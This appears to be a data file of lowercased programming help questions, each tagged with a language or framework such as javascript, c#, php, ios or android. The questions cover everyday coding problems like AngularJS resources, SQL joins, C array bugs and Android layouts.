remove property from object on angularjs $resource update/save  i have a issue with angularjs $resource. my rest api returns properties which is read only and cannot be saved. when i update the resource angular sends back the entire object which is not what i want. is there a way to remove spesific properties from the object before a save or update command     my resource is as follows.   <pre><code>(function() {  use strict ;  angular     .module( app )     .factory( pressuresensorservice   function ($resource  restconfigservice) {         return $resource(restconfigservice.baseurl +  /pressure_sensors/:pressure_sensorid  {pressure_sensorid:  @id }              {                 update: {                     method:  put                  }             });     });  })(); </code></pre>,angularjs
how do you split an array of numbers and push positive numbers to an array and negative numbers to another   how do you split an array of numbers and push positive numbers to an array and negative numbers to another  var myarr = [1 2 3 -1 5 -3];,javascript
bootstrap email form setup  hi please if anyone can help i am very new to html and have recently created a website that i have adapted from a template in dreamweaver and there is code already in the html for the contact page i have tried and tried and just cannot figure out how to set it into the active. below is what i have so far for the page.   <pre><code>            &lt;section id= contact-text  class= inactive &gt;                         &lt;div class= col-sm-12 col-md-12 &gt;                             &lt;div class= row &gt;                                 &lt;div class= col-sm-12 col-md-12 &gt;&lt;h2&gt;contact&lt;/h2&gt;&lt;/div&gt;                                 &lt;div class= clearfix &gt;&lt;/div&gt;                             &lt;/div&gt;                              &lt;div class= row &gt;                                 &lt;div class= col-sm-6 col-md-6 &gt;                                     &lt;div id= map-canvas &gt;&lt;/div&gt;                                   &lt;p&gt;&lt;/p&gt;                                 &lt;/div&gt;                                  &lt;div class= col-sm-6 col-md-6 &gt;                                     &lt;form action= #  method= post &gt;                                              &lt;div class= form-group &gt;                                                 &lt;!--&lt;label for= contact_name &gt;name:&lt;/label&gt;--&gt;                                                 &lt;input type= text  id= contact_name  class= form-control  placeholder= name  /&gt;                                             &lt;/div&gt;                                             &lt;div class= form-group &gt;                                                 &lt;!--&lt;label for= contact_email &gt;email:&lt;/label&gt;--&gt;                                                 &lt;input type= text  id= contact_email  class= form-control  placeholder= email address  /&gt;                                             &lt;/div&gt;                                             &lt;div class= form-group &gt;                                                 &lt;!--&lt;label for= contact_message &gt;message:&lt;/label&gt;--&gt;                                                 &lt;textarea id= contact_message  class= form-control  rows= 7  placeholder= write a message &gt;&lt;/textarea&gt;                                             &lt;/div&gt;                                             &lt;button type= submit  class= btn btn-primary &gt;send&lt;/button&gt;                                      &lt;/form&gt; </code></pre>,html
gui array error  cs0610 error   hello i am in the middle of creating a program for my c# class that has us make a gui program that you enter 4 number grades  then average that out  take the average number and then assign a letter grade to it. right now i got everything working except for the letter grade part. right now i get the cs0161 error   grade_calculator. lettergrade (double) ; not all code paths return a value.    <pre><code>`using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms; using system.windows.forms.visualstyles;  namespace average_test_grades {     public partial class grade_calculator : form     {         public grade_calculator()         {             initializecomponent();         }          private void button_click(object sender  eventargs e)         {             int num1;             int num2;             int num3;             int num4;               num1 = convert.toint32(input1.text);             num2 = convert.toint32(input2.text);             num3 = convert.toint32(input3.text);             num4 = convert.toint32(input4.text);              int sum = num1 + num2 + num3 + num4;             int avg = sum / 4;             output1.text =    + avg;          }          char lettergrade(double avg)         {             if (avg &gt;= 90 &amp;&amp; avg &lt;= 100)                 return  a ;             else if (avg &gt;= 80 &amp;&amp; avg &lt;= 89)                 return  b ;             if (avg &gt;= 70 &amp;&amp; avg &lt;= 79)                 return  c ;             if (avg &gt;= 60 &amp;&amp; avg &lt;= 69)                 return  d ;             if (avg &gt;= 50 &amp;&amp; avg &lt;= 59)                 return  f ;         }     }     } ` </code></pre>,c#
is objc_msgsend() the significant piece that makes objective-c object oriented   while reading the documentation  i wonder if objc_msgsend() is actually the  core technology  in delivering the functionality for making objective-c  object oriented . maybe someone can explain in more detail which other pieces come into place to enable the object oriented paradigm of objective-c,objective-c
if else conditional implementation c#  i want to create an if/else statement in this case :   <pre><code>        var controls= _listcontrols             .select(                 control =&gt; new                 {                     name                      quantity                      valid = isvalid                       sp.getinfos(id).serialnumber.tostring()                     : string.empty                 })             .tolist(); </code></pre>   i just want to check if <code>sp.getinfos(id).serialnumber.tostring()</code>is null in the statement and say if <code>it s not null   dothings() : dothings()</code> .    thanks,c#
checking entry hasn t already being made  basically have a lead model which belongs to a listing  if a lead has already been created by the user logged in for the same listing i would like another not to be made and for an error to return instead.    my code:   <pre><code>if listing.lead.where(email: current_user.email).any    redirect_to :back  alert:  you have already submitted an enquiry to this franchise  else *other code* end </code></pre>   any ideas why this isn t working  it s still making more.,ruby-on-rails
how to get the second element using jquery  using this jquery code i am trying to change the display from none to block for the  second ul under sale which is under belts (it has a belts-1 href). the below code should be accessing the second element but its not. what am i doing wrong      <pre><code>$currentcategory =  belts ; $( .sidecatmenu a:contains(   + currentcategory +   ) ul ).next(ul).eq(2).css( display    block ); </code></pre>   i am searching this list   <pre><code>&lt;li class= active &gt;&lt;a href= /sale/  class= parentside &gt;sale&lt;/a&gt;&lt;ul style= display: block;  class= subcat &gt; &lt;li&gt;&lt;a href= /accessories-3/ &gt;accessories&lt;/a&gt;&lt;ul style= display: none; &gt; &lt;li&gt;&lt;a href= /bags-1/ &gt;bags&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /wristbands/ &gt;wristbands&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /dog-collars/ &gt;dog collars&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /wallets/ &gt;wallets&lt;/a&gt;&lt;/li&gt;  &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href= /ten-dollar-buckles/ &gt;ten dollar buckles&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /belts-1/ &gt;belts&lt;/a&gt;&lt;ul style= display: none; &gt; &lt;li&gt;&lt;a href= /28-belts/ &gt;28  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /30-belts/ &gt;30  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /32-belts/ &gt;32  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /34-belts/ &gt;34  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /36-belts/ &gt;36  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /38-belts/ &gt;38  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /40-belts/ &gt;40  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /42-belts/ &gt;42  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /44-belts/ &gt;44  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /46-belts/ &gt;46  belts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= /48-and-larger-belts/ &gt;48  and larger belts&lt;/a&gt;&lt;/li&gt;  &lt;/ul&gt; &lt;/li&gt;  &lt;/ul&gt; &lt;/li&gt; </code></pre>,jquery
understanding schemas and queries  i have the following schema     <pre><code>persons (ssn  name  houseid  apartmentnumber  salary)     houses (houseid  houseaddress  apartmentcount  color)   landlords (landlordid  ownerssn  landlordaddress)   ownerships (landlordid  houseid  purchasedate  propertytax)   tenants (houseid  apartmentnumber  leasetenantssn  leasestartdate    leaseexpirationdate     rent  lastrentpaiddate  rentoverdue)     </code></pre>   find the names of all persons who lease an apartment whose rent is higher than half of that person’s salary. i am having a rough time with the english. does it mean i have to find all people who are landlords and tenants and what they pay for rent is greater than half their salary,sql
nsinternalinconsistencyexception using frontboard.framework --> fbprocessmanager.h --> method of sharedinstance  when i use ios privateframework <strong>frontboard.framework</strong> --> <strong>fbprocessmanager.h</strong> --> method of <code>sharedinstance</code>  i have problems:   <blockquote>    terminating app due to uncaught exception    nsinternalinconsistencyexception   reason:  fbprocessmanager cannot   be initialized before calling fbsystemappmain()   </blockquote>   this is my code：   <pre><code>nsbundle *b = [nsbundle bundlewithpath:@ /system/library/privateframeworks/frontboard.framework ]; bool success = [b load]; nslog(@ %d  success); class fbprocessmanager = nsclassfromstring(@ fbprocessmanager ); id manager = [fbprocessmanager valueforkey:@ sharedinstance ]; </code></pre>,ios
pip and setuptools installation without internet  i am in a situation i don t have internet accessibility  i have pip and setup tools source file. i have python 3 zip file downloaded from official website. how can i install them . besides it is amazing i can t find answers using google  all tells me using ez_install.py and get-pip.py to install which require internet.,python
how can i automatically run all the functions in the module   i need to run several functions in a module as follws:   <pre><code>mylist = open( filing2.txt ).read() notables = remove_tables(mylist) newpassage = clean_text_passage(notables) replacement = replace(newpassage) ncount = count_words(replacement) riskcount = risk_count(ncount) </code></pre>   is there any way that i can run all the functions at once  should i make all the functions into a big function and run that big function     thanks.,python
relativelayout - dynamically repositioning a view  i am trying to do a simple task of moving a toolbar up and down on the screen  but it only works once. the toolbar moves on the press of a button to the top  but i cannot get it back to the bottom even though the message “move to bottom” appears. see the code:   <pre><code>    boolean toolbaratbottom = true;      private void movetoolbar(){         linearlayout toolbar = (linearlayout) findviewbyid(r.id.toolbar);         relativelayout.layoutparams lp = new relativelayout.layoutparams(                             layoutparams.fill_parent  layoutparams.wrap_content);          lp.height = toolbar.getheight();          if (toolbaratbottom){              lp.addrule(relativelayout.align_top  relativelayout.true);         }else{               lp.addrule(relativelayout.align_bottom  relativelayout.true);             toast.maketext(drawactivity.this   move to bottom   toast.length_short).show();         }         toolbar.setlayoutparams(lp);         toolbaratbottom = !toolbaratbottom;     } </code></pre>   any ideas how to make it do more than once,android
how do i vertically align text in table row after form  how do i vertically align text in table row after form  in his code the serial no field is significantly lower than everything else.   <pre><code>&lt;tr&gt;     &lt;td valign= top &gt;         &lt;b&gt;songkong discount)&lt;/b&gt;     &lt;/td&gt;     &lt;td  valign= top &gt;         £40 ($50 usd)     &lt;/td&gt;     &lt;td valign= top &gt;         &lt;form name= paypalpro  action= https://www.paypal.com/cgi-bin/webscr  method= post &gt;             &lt;input type= hidden  name= cmd  value= _s-xclick &gt;             &lt;input type= hidden  name= hosted_button_id  value= 5uc5kayz6jzr8 &gt;             &lt;input alt= paypal  type= image  src= https://www.paypal.com/en_us/i/btn/btn_xpresscheckout.gif  border= 0  name= submit &gt;             &lt;img alt=   border= 0  src= https://www.paypalobjects.com/en_gb/i/scr/pixel.gif  width= 1  height= 1 &gt;             serial no: &lt;input type= textfield  name= serialno /&gt;         &lt;/form&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>,html
what s wrong with this .end() function   this is my <a href= http://jsfiddle.net/tuxeq/  rel= nofollow >code</a> :   <pre><code>&lt;a href= javascript:void(0);  id= apri-menu &gt;     &lt;span&gt;first&lt;/span&gt;     &lt;span style= display:none; &gt;second&lt;/span&gt; &lt;/a&gt;​  $( #apri-menu ).click(function () {     $(this).find( span ).first().hide().end().find( span ).last().show();     $( #menu-nascosto ).show(); });​ </code></pre>   clicking on the link i d aspect to show the second span  but seems that <code>.end()</code> make some pain.     where am i wrong,jquery
listpopupmenu on pre android 11  i want to know if someone knows a <code>library</code> that contains a back ported implementation for <code>listpopupmenu</code> that works on pre <code>android</code> 11,android
why is my empty int array not returning 0 for the last index in c  <pre><code>int *ar[3]; int x; for (x == 0; x &lt; 3; ++x)     printf( ar[%d]: %d\n   x  ar[x]); </code></pre>   this returns   <blockquote>    ar[0]: 0        ar[1]: 0        ar[2]: 4196432  </blockquote>,c
where to get well designed and coded applications written in c# to learn from them   i got into log4net code and nunit. both of them gave me something to think about and taught me something new. what other aps do you know  with source code open that worth reading their code  also  what is the best way to get into the code  sure if you can t ask its creator a question     a little addition: i d like to have sources read by you and recommended in a way i read this  it is really cool and worth reading  worth digging into the code. sure it is very helpful to know about codeplex  codeproject and other sites where you can get some code to dig into  but the question is about what do you recommend,.net
creating cinemagraphs in android  <a href= https://en.wikipedia.org/wiki/cinemagraph  rel= nofollow noreferrer >https://en.wikipedia.org/wiki/cinemagraph</a>    i have been looking a way to accomplish this  but no luck so far. i want to convert an image to a cinemagraph  animating a portion of the selected image or capturing a video using the camera; first one seems a little far fetched though.,android
how to make a property of a property  i m not quite sure how to word this question  so i ll show examples. i want to make a property for a property. i am currently using a property from a different class:   <pre><code>player = [[player alloc] init]; player.name = @ playername ; </code></pre>   these properties are defined in the player class  and player.h is imported.    i want to have a  sub-property  for .name  so it will look like player.name.newproperty. an example of this is for uilabel:   <pre><code>labelname = [[uilabel alloc] init]; self.labelname.text = @ string ; // .text being the  sub-property  </code></pre>,objective-c
why does my visual studio not show a solution in the solution explorer   i am new to visual studio. i have been working on some training videos and when i create an console application i see the console application name but no solution example. how can i create the solution so that i can add multiple projects underneath the solution.    screen shot: (screen shot from my visual studio)    <img src= https://i.stack.imgur.com/ogxdd.jpg  alt= enter image description here >    screen shot: (screen shot from the instruction website)    <img src= https://i.stack.imgur.com/8x9rs.jpg  alt= enter image description here >    i need my visual studio to look like this.     <strong>question: why is my visual studio not producing a solution </strong>    created a project: console application and there is not solution. is this a toggle switch some places.    <img src= https://i.stack.imgur.com/jowxn.jpg  alt= enter image description here >,c#
simplest to break a byte down to 8 bits   i have a <code>byte</code> and want to get a collection of 8 bits (represented as 0 or 1 in any built-in integer type - <code>boolean</code>  <code>int</code>  <code>char</code>). is there any built-in way to do this,java
asp.net sql statements execution  couple of days in a row i am trying to master aps.net authentication process. i am completely confused.    i ve created simple website which using form authentication. ( this is totally magic ) authentication works well  but have no clue how it works  probably code and sql statements already injected somewhere deep in framework. but how do i create a custom control     lets say i have two categories of users: member and moderator.     i want moderator able to execute <code>insert</code>  <code>update</code>  and <code>delete</code> sql staments but member will be restricted for those operations and able to perform <code>select</code> statement only and only for his records.     could you guys guide me how can i achieve it using asp.net. thanks!,asp.net
is there a way i can make sure that an object created by using my class gets the name that the user assigns to it in java  i build a class with the constructor:   <pre><code>public door(string name){    this.name = name;  } </code></pre>   is there a way where i can create a default constructor where the name becomes whatever the user assigns this object. for example:   <pre><code>{    door blackdoor = new door(); } </code></pre>   would make the     blackdoor.name = blackdoor,java
why use message forwarding  why would you use message forwarding in objective-c. also when using it  you need to call the surragate method with performselector  i am thinking you have a lot of knowledge when you are coding this  why would you need message forwarding. i am reading that this is obj-c multiple inheritance - but i don t see it like this  it is just another object attached to an object.    hope you know and have a pratical example    thanks,objective-c
ios data storage guidelines catch 22  i ve browsed through about 2 dozen articles here and elsewhere looking for an answer.  no one seems to have addressed this problem --    we have an application that has fairly large database (on the order of 5mb).  the application needs the db when working offline.  the db can be recreated by downloading from our server when online.    we can t use core data instead of our own db because the data must be encrypted to meet government privacy standards.    the app cannot function offline without this database  so it can t go into library/caches.    we can place the data in documents and mark it  do not backup  for ios 5  but this doesn t work for ios 4 since that attribute is not recognized.    so what can we do with the database in ios 4,ios
adding column value dynamically in select statement sql query  i have 2 sql tables like below    <strong>table1</strong>   <pre><code>servername  downloaded  failed rebootrequried server1     3            2      yes server2     4            1      no </code></pre>   <strong>table2</strong>   <pre><code>servername    administartor server1       john server3       alex </code></pre>   i want to join these 2 tables so that i can extract the administrator name out of table 2.    if the servername of table 1 is not matching with servername of table2   then i want to retain all the columns <code>servername downloaded failed  rebootrequired  administrator(which will be null)</code>.    if servername matches then all the columns should be retained including administrator name from table2     how can we do it with select statement in sql  i am pretty new to it  and not sure how to use the conditional statement in sql,sql
uiscrollview won t stay in place after user finishes scrolling  within my uiview  i have a uiscrollview which fills the first view  so than when the content is bigger than the iphone screen size  the user can scroll the page down. it works well  but when the user finishes the scroll movement - i.e. removes his fingers  the page snaps back into it s original position. obviously that is not what i want  how can it be avoided     here is the relevant code in the uiview class which declares and uses the uiscrollview class.   <pre><code>@implementation testview   - (id)initwithframe:(cgrect)frame {      self = [super initwithframe:frame];     if (self) {         // initialization code.     }      cgrect scrollviewframe = cgrectmake(0  0  320  460);     uiscrollview *scrollview = [[uiscrollview alloc] initwithframe:scrollviewframe];     scrollview.cancancelcontenttouches=no;     [self addsubview:scrollview];      cgsize scrollviewcontentsize = cgsizemake(320  500);     [scrollview setcontentsize:scrollviewcontentsize];      cgrect rectforbigredsquare = cgrectmake(50  50  200  200);     uilabel *redsquare = [[uilabel alloc] initwithframe:rectforbigredsquare];     [redsquare setbackgroundcolor:[uicolor redcolor]];      [scrollview addsubview:redsquare];     return self; } </code></pre>   an additional question is this: how is it possible to make it such that the user can only scroll down  that is to see content at the bottom which was out of view  but not to scroll up so that there is space before the start of the content. in,ios
can t convert to string  update: turns out i forgot to make it global  the function. my bad.    new problem  though. turns out it can t convert something to a string apparently  i m not sure what s going on anymore  i m sorry.,php
generating random numbers without using cstdlib   this is a homework question  but it s a small part of a much bigger project. one of the constraints is that we are not allowed to use stl for any reason.    i ve attempted to roll up my own rand() function using ctime and an incrementing modifier. i figured that even though this doesn t have a consistent seed  the function should output semi-random numbers so long as it s not fed the same modifier more than once per second.   <pre><code>//notcstdlib.cpp //&lt;ctime&gt; &lt;cmath&gt; int rand(int mod) {     time_t seed;     return std::abs(seed * mod); } </code></pre>   but this sample code   <pre><code>//main.cpp #include  notcstdlib.h  #include &lt;iostream&gt;  int main(int argc  char** argv) {     int f;     for(int i = 1; i &lt;= 10; i++)     {         f = rand(i);         std::cout &lt;&lt;  random num=   &lt;&lt; f &lt;&lt;  \n ;         std::cout &lt;&lt;  rand % 10 =   &lt;&lt; f%10 &lt;&lt;  \n ;     }     return 0; } </code></pre>   always returns 7 as the first value and only even numbers between 0 and 8 for every other number.   <pre><code>//output 1              //output 2              //output 3 random num= 134514987 | random num= 134514987 | random num= 134514987 rand % 10 = 7         | rand % 10 = 7         | rand % 10 = 7 random num= 13261304  | random num= 24238584  | random num= 27941368 rand % 10 = 4         | rand % 10 = 4         | rand % 10 = 8 random num= 19891956  | random num= 36357876  | random num= 41912052 rand % 10 = 6         | rand % 10 = 6         | rand % 10 = 2 random num= 26522608  | random num= 48477168  | random num= 55882736 rand % 10 = 8         | rand % 10 = 8         | rand % 10 = 6 random num= 33153260  | random num= 60596460  | random num= 69853420 rand % 10 = 0         | rand % 10 = 0         | rand % 10 = 0 random num= 39783912  | random num= 72715752  | random num= 83824104 rand % 10 = 2         | rand % 10 = 2         | rand % 10 = 4 random num= 46414564  | random num= 84835044  | random num= 97794788 rand % 10 = 4         | rand % 10 = 4         | rand % 10 = 8 random num= 53045216  | random num= 96954336  | random num= 111765472 rand % 10 = 6         | rand % 10 = 6         | rand % 10 = 2 random num= 59675868  | random num= 109073628 | random num= 125736156 rand % 10 = 8         | rand % 10 = 8         | rand % 10 = 6 random num= 66306520  | random num= 121192920 | random num= 139706840 rand % 10 = 0         | rand % 10 = 0         | rand % 10 = 0 </code></pre>   obviously i m missing some important aspect of rand() and i m not implementing it. is there a better way to tackle this issue,c++
parametrized textbox controls in asp.net  i want to set properties of a textbox control(like readonly or mandatory etc.)  based on a parameter passed in another field. e.g. if the status is  employed  the textbox control  salary  will become mandatory; else it will not be mandatory. the conditions can also be passed by an sql query.    thanks.,asp.net
uidatepicker missing hours with 24 hour / irish locale  so i m loading a uidatepicker and i set the locale to be the currentlocale  but when it appears the hour component is completely empty.    this only happens when the regional settings of the phone are  ireland (irish)   and the time is set to be 24 hours. if i set it to be  ireland  then the hours appear fine as expected.    as far as i can tell this is a bug in ios 6.0  but i d love to be told otherwise.,ios
rails 4 - change data type of a column from binary to string  in my model  projectttype   i have a column  image  created with t.binary :image and i need to change it to data type string.    this would be my first migration and am unsure how to name the migration.     changeimageonprojecttypes  - does it matter     and add to the migration file: <code>change_column :projecttype  :image  :string</code>    is this correct or if not  what should it be     thanks.,ruby-on-rails
array gets ints from assignments of other variables in main. how is it possible   i m getting crazy with c. i m writing code for my battleship dos app. i m using a int matrix (10x10) to build the field  but a weird thing happens. when i assign a value to an other variable  some points in the field change their value.     i don t know how it s possible.    i use to fill the matrix with  1  (int value)  so i print a char to simulate a  sea point  on the battleship field. here s the problem: some unwanted ints appear on the field. i removed all the functions from the game  leaving only  printfield . it still happens. please help!    (i m italian  i tried to translate the variables names to make things easier. i m sorry if i did some english errors. i also added a lot of printfield functions to see how the field changes during the app execution)    here the code: (note: changing  for example  the  pos_x  assignment  the unwanted values change)   <pre><code>#include &lt;stdio.h&gt; int printfield(int camp[][9]); int fill(int campo[][9]);  int main() {      int continua;     int field1a[9][9];      fill(field1a);      printfield(field1a);     continua=0;                           //what do this assignment do          while(continua==0)     {         printfield(field1a);         system( pause );         int pos_x=7;                  //what do this assignment do               printfield(field1a);         int pos_y=3;                    //what do this assignment do              printfield(field1a);          system( pause );     }     printfield(field1a);       system( pause );     system( cls );     printfield(field1a);      system( pause ); }  int printfield(int camp[][9]) {     printf( \n\n\n );      printf(     );     int word;       for(word=97;word&lt;=106;word++)     {         printf( %c    (char)word);     }      int q  r;     for(q=0;q&lt;=9;q++)     {         for(r=0;r&lt;=9;r++)         {             if(r==0)              {                 printf( \n );                 if(q!=9)       //to print  10  (the row number) correctly spaced -see the different number of spaces i put into the next printf                 {                     printf( %d     q+1);  //printf with 2 space for numbers 1-9                 }                 else                 {                     printf( %d    q+1); //printf with 1 space for number 10                 }              }             switch(camp[r][q])             {                 case 1:                     printf( ~  );                     break;                 case 2:                     printf( 0  );                     break;                 case 3:                     printf( s  );                     break;                 case 4:                     printf( -  );                     break;                 case 5:                     printf( x  );                     break;                 case 6:                     printf( s  );                     break;                 case 7:                     printf( -  );                     break;                 case 8:                     printf( x  );                     break;                 default:                     printf( e  );                     break;             }         }            } }  int fill(int campo[][9]) {     int f  h;     for(h=0;h&lt;=9;h++)     {         for(f=0;f&lt;=9;f++)         {             campo[f][h]=1;         }     } } </code></pre>,c
how works or operator in if statements and print  i have two questions     1) how can i make php to check getnext() function if it exists or what value it has        <pre><code>$a = 1; if($a == 1 or getnext()== 1){     echo  yeap ;                 //this works } </code></pre>   2)i want to write condition -- if $a or $b is equal to 1   print the variable name that has the value of 1.    is it possible to do in php   can i do it this way      <pre><code>if($a ==1 or $b==1){     print($a or $b);     } </code></pre>   thanks in advance:),php
what is the standard to declare constant variables in ansi c   i am teaching myself c by going over my c++ book and recoding the problems in c. i wanted to know the correct industry standard way of declaring variables constant in c. do you still use the <em>#define</em> directive outside of main  or can you use the c++ style <em>const int</em> inside of main,c
c# writing to a file without full path  if i use this code   <pre><code>file.appendalltext( c:/users/michael/documents/visual studio 2010/projects/puzzlegame/puzzlegame/puzzlegamecontent/player.txt    hi ); </code></pre>   the file will save and add  hi  to the end of it. however  if i do something like this:   <pre><code>file.appendalltext( player.txt    what is good  ); </code></pre>   the file won t have a  what is good   at the end of it. i can read files just fine using only the  player.txt  filename but i can t write to a file using only that. can anyone help me,c#
iserializable to serialize readonly methods to be sent through webservice  i am sending an object through a webservice with readonly methods. i am using the iserializable interface  assuming that i would no longer need a parameterless constructor. this is not true and i still cannot send my object over the wire.    <pre><code>public class foo:  iserializable {  public boolean isbusy { get; private set;}  protected foo(serializationinfo info  streamingcontext context)    { this.isbusy = info.getboolean( isbusy );  }    void iserializable.getobjectdata(serializationinfo info  streamingcontext context)    {  .addvalue( isbusy   this.isbusy);   } </code></pre>,c#
how to show a disclosure indicator button in table view editing mode  how to show a disclosure indicator button in table view editing mode .    thanks,iphone
call to undefined function apache_request_headers()  i ve just switched my scripts to a different server. on the previous server this worked flawlessly  and now that i ve switched them to a different server  i can t understand the problem.    i m not sure it would help  but here s the relevant code.    <code>$headers = apache_request_headers();</code>    php version is: php 5.3.2    any help would be appreciated.,php
query a duplicate data from two different tables  i have two tables on dba.   <pre><code>table1: name_id | id | lastupdated | name  table2: user_id | action_view | mob_no | process | result </code></pre>   these two tables are related with name_id=user_id.    i want to query all the users  that have the same mobile number for whom column <code>result</code> is 1 (meaning successful).    lets say for name(john in table1) we have 3 different mobile numbers in table 2 and for each the <code>result</code> is 1.,mysql
ipv4 subdomain server not accessable from ipv6 client ios apple rejection  i have a subdomain exp.yes.com having static ipv4 of my server which is using wcf web ervices. the services work fine when the client comes from ipv4 but is not accessible when the.client connects from ipv6. can anybody help me out plz. web services are hosted in windows server 2008.,ios
cannot build android tutorial project  i decided to learn a bit about programming for android  so i started following the tutorial in the developer.android.com page. i installed android studio  created a project following the exact steps detailed here <a href= https://developer.android.com/training/basics/firstapp/creating-project.html  rel= nofollow >https://developer.android.com/training/basics/firstapp/creating-project.html</a> and when i try to build it i get the following errors    <blockquote>    error:(2) error retrieving parent for item: no resource found that matches the given name  android:textappearance.material.widget.button.inverse .        error:(2) error retrieving parent for item: no resource found that matches the given name  android:widget.material.button.colored .  </blockquote>   i cannot get past this error  googling about the error some suggested to change the sdk version but to no avail. with sdk manager i have installed the build tools with revision 22.0.1  23 and 24.3.4    edit: here is the build.gradle file <a href= http://pastebin.com/x7635w6g  rel= nofollow >http://pastebin.com/x7635w6g</a>,android
can t search classlist .with contains  i m trying to search <code>dom</code> elements for a specific class using <code>classlist.contains</code>  but getting this error:    <blockquote>     typeerror: cannot read property  contains  of undefined.   </blockquote>   i m getting the same error when trying to use <code>.indexof</code> to search. the part confusing me is that when i <code>console.log</code> this.classlist  it logs the classlist object correctly. where am i going wrong in using contains  note: this is a re-implementation of <code>getelementsbyclassname</code> using recursion for practice.   <pre><code>var allnodes = document.body;  function comb(parent  callback) { if (parent.haschildnodes()) {     for (var node = parent.firstchild; node; node = node.nextsibling) {         comb(node  callback);     } } callback.call(parent); }  function check() { var passed = this.classlist.contains( right ); if (passed) {    return this.nodevalue; } }  comb(allnodes  check); </code></pre>,javascript
what i am missing on this machine when i got this warning   this machine only have sdk and .net3.5 installed. no vs2008 installed. after this warning      c:\windows\microsoft.net\framework\v3.5\microsoft.common.targets : warning msb3245: could not resolve this reference. could not locate the assembly  microsoft.visualstudio.qualitytools.unittestframework  version=9.0.0.0  culture=neutral  publickeytoken=b03f5f7f11d50a3a  processor architecture=msil . check to make sure the assembly exists on disk. if this reference is required by your code  you may get compilation errors.    i got some errors but not seen on another machine with vs2008 installed:    testdbhelper.cs(7 17): error cs0234: the type or namespace name  visualstudio  does not exist in the namespace  microsoft  (are you missing an assembly reference ) testdbhelper.cs(30 17): error cs0246: the type or namespace name  testcontext  could not be found (are you missing a using directive or an a ssembly reference ) testdbhelper.cs(36 16): error cs0246: the type or namespace name  testcontext  could not be found (are you missing a using directive or an a ssembly reference )    any ideas  thanks,.net
unable to malloc char**  is someone possible to explain me what i am doing wrong here  i am trying to malloc  multi-dimensional  dynamic array like this.    thank you   <pre><code>enum { max_words = 100  max_lenght = 20 };  char **words;  // it fails here  void * cannot be assigned... type of char**  words = malloc(max_words * sizeof(char*));  for (int i = 0; i &lt; max_words; i++) {     words[i] = malloc(max_lenght * sizeof(char)); } </code></pre>,c
resolution of an image in angularjs  i am using angularjs. i have an image object. i want the resolution of that image. image object contains name and image size. how do i do in angularjs.     thanks in advance.,angularjs
date time format issue  how can i convert dd/mm/yyyy (time is not here) date format to dd-mm-yyyy format.  please make sure i have only dd/mm/yyyy it includes no time and i want to convert it to dd-mm-yyyy format. please help.,.net
is there a way to identify error cause for a html link element   the <a href= https://developer.mozilla.org/en/docs/web/html/element/link  rel= nofollow >html link element</a> supports <code>onerror</code> handler to react to an error loading the linked resource. however  the <code>onerror</code> handler accepts an <code>event</code> object that does not seem to be carrying any information about an actual error cause. for example  loading of the referenced resource could fail due to some internal server error (i.e. http 500) or some security restrictions (i.e. http 403).    is there a way to identify the root cause for a <code>link</code> element failing to load its resource,html
can t read php on server  i trying to read php file on server  in android.    sorry for shot english because i am foreigner..   <pre><code>   &lt;html&gt;      &lt;head&gt;       &lt;title&gt;aaa&lt;/title&gt;     &lt;meta http-equiv= content-type  content= text  charset= utf-8 &gt;     &lt;/head&gt;     &lt;body&gt;      &lt; php         $link_id = mysql_connect( localhost   root    );         mysql_select_db( aaaa  $link_id);          $res = mysql_query( insert into ppt_member value ( $id   $password   $name   $email   $address   $sex   $age )  $link_id);       &gt; </code></pre>   this is my php code.     when i run application    <pre><code>07-22 01:41:32.505: w/response(1195): &lt;html&gt; 07-22 01:41:32.505: w/response(1195):  &lt;head&gt; 07-22 01:41:32.505: w/response(1195):   &lt;title&gt;aaa&lt;/title&gt; 07-22 01:41:32.505: w/response(1195): &lt;meta http-equiv= content-type  content= text  charset= utf-8 &gt; 07-22 01:41:32.505: w/response(1195): &lt;/head&gt; 07-22 01:41:32.505: w/response(1195): &lt;body&gt; 07-22 01:41:32.505: w/response(1195):  </code></pre>   can read until html code  but can t read php code.    what should i do,php
confusion over sequence of function calling  i have a silly confusion here. i have the following <code>main()</code> in my code and i pass <code>transcriptionfile</code> and <code>phonemefile</code> as inputs. is it the <code>time()</code> function that is called first and then the <code>coart()</code> function  but i input the files together that are passed in these functions in a single line  so don t they have to be called at the same time      i am just a beginner in python. i was working on the <code>time()</code> function and <code>coart()</code> function separately but now i have to pass a list generated in <code>coart()</code> function to <code>time()</code> function. so  if <code>time()</code> function is called first then it wouldn t recognize the list even if i pass it. i hope i made my question clear. thank you.   <pre><code>if __name__ ==  __main__  :  if len(sys.argv) != 3 :        usage()  else :     transcriptionfile = sys.argv[1]      time( transcriptions.txt )      phonemefile = sys.argv[2]      coart( syllabifiedphonemes.txt ) </code></pre>,python
how can i open wifi connection system dialog   i want to write a application list accesspoints and when you click one  a wifi connection dialog will open. i searched in the internet and found some hint: startactivity(new intent(wifimanager.action_pick_wifi_network)) – but i can t do it. please help.,android
